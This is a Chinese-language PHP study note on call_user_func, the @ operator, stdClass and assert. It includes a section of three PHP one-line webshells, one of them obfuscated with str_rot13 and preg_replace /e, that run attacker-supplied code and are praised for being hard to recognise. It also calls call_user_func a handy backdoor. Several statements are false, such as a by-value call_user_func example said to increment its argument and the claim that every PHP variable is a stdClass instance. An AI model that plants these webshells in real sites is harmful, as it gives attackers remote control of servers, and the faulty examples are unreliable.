## call_user_func函数和call_user_func_array函数 ### call_user_func() call_user_func是PHP的内置函数. call_user_func(callback $function [,mixed $parameter [,mixed $... ]]).可以传递任何内置的或者用户自定义的函数,除了语言结构如`array(),echo(),empty(),eval(),exit(),isset(),list(),print() 和 unset()`。 该函数允许用户调用直接写的函数并传入一定的参数,下面总结下这个函数的使用方法。 call_user_func函数类似于一种特别的调用函数的方法,使用方法如下: <?php function nowamagic($a,$b) { echo $a; echo $b; } call_user_func('nowamagic', "111","222"); call_user_func('nowamagic', "333","444"); //显示 111 222 333 444 ?> 调用类内部的方法比较奇怪,居然用的是array,不知道开发者是如何考虑的,当然省去了new,也挺有新意的: <?php class a { function b($c) { echo $c; } } call_user_func(array("a", "b"),"111"); //显示 111 ?> ### call_user_func_array() call_user_func_array函数和call_user_func很相似,只不过是换了一种方式传递了参数,让参数的结构更清晰: <?php function a($b, $c) { echo $b; echo $c; } call_user_func_array('a', array("111", "222")); //显示 111 222 ?> call_user_func_array函数也可以调用类内部的方法的: <?php Class ClassA { function bc($b, $c) { $bc = $b + $c; echo $bc; } } call_user_func_array(array('ClassA','bc'), array("111", "222")); //显示 333 ?> ### call_user_func和call_user_func_array的关系 call_user_func函数和call_user_func_array函数都支持引用,这让他们和普通的函数调用更趋于功能一致: <?php function a($b) { $b++; } $c = 0; call_user_func('a', $c); echo $c;//显示 1 call_user_func_array('a', array($c)); echo $c;//显示 2 ?> 另外,call_user_func函数和call_user_func_array函数都支持引用。 <?php function increment(&$var) { $var++; } $a = 0; call_user_func('increment', $a); echo $a; // 0 call_user_func_array('increment', array(&$a)); // You can use this instead echo $a; // 1 ?> ## call_user_func有什么意义 ### 可以用来作为网站后门 留一个接口,实现全部功能。 ### __call结合call_user_func来实现链式操作 >思想:首先定义一个字符串类StringHelper,构造函数直接赋值value,然后链式调用trim()和strlen()函数,通过在调用的魔法函数__call()中使用call_user_func来处理调用关系。 实现如下: <?php class StringHelper { private $value; function __construct($value) { $this->value = $value; } function __call($function, $args){ $this->value = call_user_func($function, $this->value, $args[0]); return $this; } function strlen() { return strlen($this->value); } } $str = new StringHelper(" sd f 0"); echo $str->trim('0')->strlen(); 3. __call结合call_user_func_array来实现 实现如下: <?php class StringHelper { private $value; function __construct($value) { $this->value = $value; } function __call($function, $args){ array_unshift($args, $this->value); $this->value = call_user_func_array($function, $args); return $this; } function strlen() { return strlen($this->value); } } $str = new StringHelper(" sd f 0"); echo $str->trim('0')->strlen(); ## @符号 >@可以忽略错误,有仰制错误的功能为错误控制操作符. function db_connect()//连接数据库 { @$db =mysql_connect('localhost','root','test'); if(!$db) throw new Exception('连接数据库失败!请重试!'); mysql_select_db('book'); return $db; } 如果连接数据库不成功的,前面的“@”就能把错误显示给抑制住,也就是不会显示错误,然后再抛出异常,显示自己定义的异常处理。 添加这个只是为了让浏览者不看到,不友好的页面,并不能抑制住错误,只能抑制显示错误! @ 用在你觉得以后运行有可能会出现错误的地方 , @后面要来个空格!最好少用,会增加系统开销. ## stdClass类 stdclass在php中是预定义的几个类之一,是zent保留的一个类。实际上它是PHP提供的一个基类,就是一个空白的类,里面什么都没有,我们可以实例化它,然后定义一系列的变量,通过它来进行变量的传递(很多php程序员用它来传递一系列变量的值,而同时又懒得去创建一个自己的类)。但是,由于实例化后不能添加方法,只能传递属性。因为,一旦类被实列化以后,就不能在添加方法了。 >stdclass可以作为基类使用,其最大特点是,(其派生类)可以自动添加成员变量,而无须在定义时说明。 一切php变量都是stdClass的实例。 使用方法: $user = new stdClass(); $user->name = 'gouki'; 或者: $andy = array(); $andy = (object)$andy; $andy->a = 1; $andy->b = 2; $andy->c = 3; ## 毫秒的时间戳(>php5) microtime(true); ## PHP一句话木马 木马的精髓第一在于用尽量少的代码可以做尽量多的事情,第二是让人认不出来这是木马 比如下面三个: <?php @eval($_GET["sb"])?> <?php ($_=@$_GET[2]).@$_($_POST[1])?> <?php ($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');?> ## assert() php中assert本来是用于调试的,如果assert方法内的代码不为true,则给个Warning提醒。如下面的代码。 <?php assert('1==2'); ?> 结果: Warning: assert(): Assertion "1==2" failed in /Users/martist/project/test/trait.php on line 4 有个assert_option方法可以对assert进行一些控制。默认值如下: ASSERT_ACTIVE=1 //Assert函数的开关 ASSERT_WARNING =1 //当表达式为false时,是否要输出警告性的错误提示,issue a PHP warning for each failed assertion ASSERT_BAIL= 0 //是否要中止运行;terminate execution on failed assertions ASSERT_QUIET_EVAL= 0 //是否关闭错误提示,在执行表达式时;disable error_reporting during assertion expression evaluation ASSERT_CALLBACK= (NULL) // 是否启动回调函数 user function to call on failed assertions 如果按照默认值,当assert进行判断时,如果为false,则会发出Warning的提醒,但是依然会继续向下执行。对于调试很好,尤其是可以使用callback,但是生产环境就不建议使用了。 #### assert的callback <?php // Active assert and make it quiet assert_options(ASSERT_ACTIVE, 1); assert_options(ASSERT_WARNING, 0); assert_options(ASSERT_QUIET_EVAL, 1); // Create a handler function function my_assert_handler($file, $line, $code) { echo "<hr>Assertion Failed:File '$file'<br />Line '$line'<br />Code '$code'<br /><hr />"; } // Set up the callback assert_options(ASSERT_CALLBACK, 'my_assert_handler'); // Make an assertion that should fail assert('1===2'); ?> 结果: Assertion Failed:File '/Users/martist/project/test/trait.php' Line '17' Code '1===2' 但是,assert也有安全问题,这个也是不建议在生产环境使用assert的一个重要原因。请看如下代码: <?php function fo(){ file_put_contents('con.php','www.baidu.com'); return true; } $func = $_GET["func"]; assert("$func()"); ?> 如果对用户输入的数据过滤不严谨的话,assert的危害比eval还要大。